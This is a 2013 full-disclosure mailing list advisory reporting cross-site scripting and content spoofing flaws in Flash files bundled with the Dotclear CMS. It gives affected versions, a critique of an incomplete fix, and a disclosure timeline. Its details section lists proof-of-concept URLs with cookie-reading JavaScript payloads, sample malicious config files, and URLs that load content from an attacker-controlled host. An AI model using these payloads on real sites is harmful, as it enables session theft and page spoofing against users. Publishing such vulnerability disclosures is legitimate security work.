Message-ID: <044b01ce3876$817e2f70$9b7a6fd5@pc>
Date: Sat, 13 Apr 2013 21:41:11 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: XSS and CS vulnerabilities in Dotclear

Hello list!

These are Cross-Site Scripting and Content Spoofing vulnerabilities in
Dotclear.

CMS Dotclear has three vulnerable flash-files: swfupload.swf, player_flv.swf
and player_mp3.swf.

File swfupload.swf it's Swfupload. I've wrote about vulnerabilities in
Swfupload in November 2012 (http://securityvulns.ru/docs28759.html).

SecurityVulns ID: 12719
CVE: CVE-2012-3414

File player_flv.swf it's FLV Player. I've wrote about vulnerabilities in FLV
Player in August 2011 (http://securityvulns.ru/docs26894.html).

SecurityVulns ID: 11877

File player_mp3.swf it's mp3 player similar to FLV Player (made by the same
developer).

-------------------------
Affected products:
-------------------------

Vulnerable are Dotclear 2.4.4 (and partly 2.5) and previous versions.

In version Dotclear 2.5 the developers fixed vulnerabilities but not
effectively: 1) all three vulnerable flash-files are exist in engine (so no
need to take them from repository or from web sites for using in own
projects, since these are vulnerable versions of flashes); 2) the developers
changed swfupload.swf in Dotclear 2.5 on previous version, but this one is
still vulnerable to all XSS and CS holes; 3) for of direct access to
flash-files (via .htaccess), to prevent using of their vulnerabilities,
works only in Apache, but not in other web servers (so web sites on them are
vulnerable).

----------
Details:
----------

Cross-Site Scripting (WASC-08):

http://site/inc/swf/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

Cross-Site Scripting (WASC-08):

http://site/inc/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

http://site/inc/swf/player_flv.swf?onclick=javascript:alert(document.cookie)

http://site/inc/swf/player_flv.swf?configxml=http://site/attacker.xml

File xss.xml:

<?xml version="1.0" encoding="UTF-8"?>
<config>
<param name="onclick" value="javascript:alert(document.cookie)" />
<param name="ondoubleclick" value="javascript:alert(document.cookie)" />
</config>

http://site/inc/swf/player_flv.swf?config=http://site/attacker.txt

File xss.txt:

onclick=javascript:alert(document.cookie)
ondoubleclick=javascript:alert(document.cookie)

Code will execute after click. It's strictly social XSS.

Content Spoofing (WASC-12):

http://site/inc/swf/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E

It's possible to inject text, images and html (e.g. for link injection).

http://site/inc/swf/player_flv.swf?configxml=http://attacker/1.xml

http://site/inc/swf/player_flv.swf?config=http://attacker/1.txt

http://site/inc/swf/player_flv.swf?flv=http://attacker/1.flv

http://site/inc/swf/player_mp3.swf?configxml=http://attacker/1.xml

http://site/inc/swf/player_mp3.swf?config=http://attacker/1.txt

http://site/inc/swf/player_mp3.swf?mp3=http://attacker/1.mp3

------------
Timeline:
------------ 

2013.01.10 - announced at my site.
2013.01.14 - informed developers about vulnerabilities in all three flashes.
2013.03.16 - released Dotclear 2.5.
2013.04.10-12 - wrote 4 additional letters to developers with reminding,
with drawing attention on ineffective fixing of the holes and with
persuading them to fix the holes correctly.
2013.04.12 - disclosed at my site (http://websecurity.com.ua/6255/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists